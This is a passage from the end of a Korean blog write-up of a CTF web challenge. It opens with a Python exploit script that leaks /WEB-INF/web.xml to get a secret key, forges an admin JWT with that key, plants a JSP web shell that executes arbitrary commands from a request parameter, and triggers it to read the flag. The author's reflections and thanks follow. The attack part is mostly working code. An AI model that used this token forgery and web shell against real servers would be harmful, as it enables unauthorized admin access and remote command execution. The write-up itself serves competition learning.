    web_xml = file_leak(user_cookies, "/WEB-INF/web.xml")

    # Parse SECRET_KEY
    p = re.compile("<param-value>(.*?)</param-value>")
    secret_key = p.findall(web_xml)[0]

    # Create admin token
    payload = {"sub": "user", "username": "admin", "id": "1"}
    token = jwt.encode(payload, secret_key, algorithm="HS256")
    admin_cookies = {"token": token}

    # Create webshell file
    title = "webshell"
    content = """<%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println("<<<" + disr + ">>>"); 
                    disr = dis.readLine(); 
                    }
            }
    %>"""
    webshell_filepath = webshell_create(user_cookies, admin_cookies, title, content)

    # Trigger webshell
    webshell_trigger(webshell_filepath, secret_key, command)

if __name__ == '__main__':

    command = "/readflag"
    exploit(command)

 

다른 건 라업 안보고 다 업솔브 때렸는데 얘는 도저히 모르겠어서 라업 보고 이해했다 ㅜㅜ

 

참 상당한 문제였다...

 

좋은 문제 감사드립니다..!

후기

확실히 일반부 문제라 청소년부 문제보단 어려웠지만,

 

그래도 충분히 해볼만하다는 생각이 들었다.

 

앞으로도 열심히 문제 풀고 CTF 뛰면서 정점은 좀 에바고 네임드 해커가 될 때까지 활동을 이어나갈 것이다!

 

(글이 좀 막 쓴 느낌이 있는데, 퇴근 -> 헬스 이후 남는 시간에 빠르게 써서 그렇습니다 ㅎㅎ;)

 

 

gg.

 

좋은 문제를 출제해주신 출제자분들과 대회 운영에 힘써주신 모든 분들께 감사 인사를 올립니다.

 

덕분에 정말 재밌게 문제 풀고 배울 수 있었습니다!!

저작자표시 비영리 변경금지

'웹해킹' 카테고리의 다른 글

Leakless - Exploit (Dreamhack Level 9)  (0) 2025.02.24
2024 CodeGate CTF Preliminaries Web All Writeup  (7) 2024.06.04
2024 ASCS CTF Web Writeups  (0) 2024.04.01
Dreamhack 웹 해킹 부문 top 10 & 7000+  (4) 2024.02.09
webhacking.kr old-25 Revenge 😈  (2) 2024.02.01
'웹해킹' Related Articles more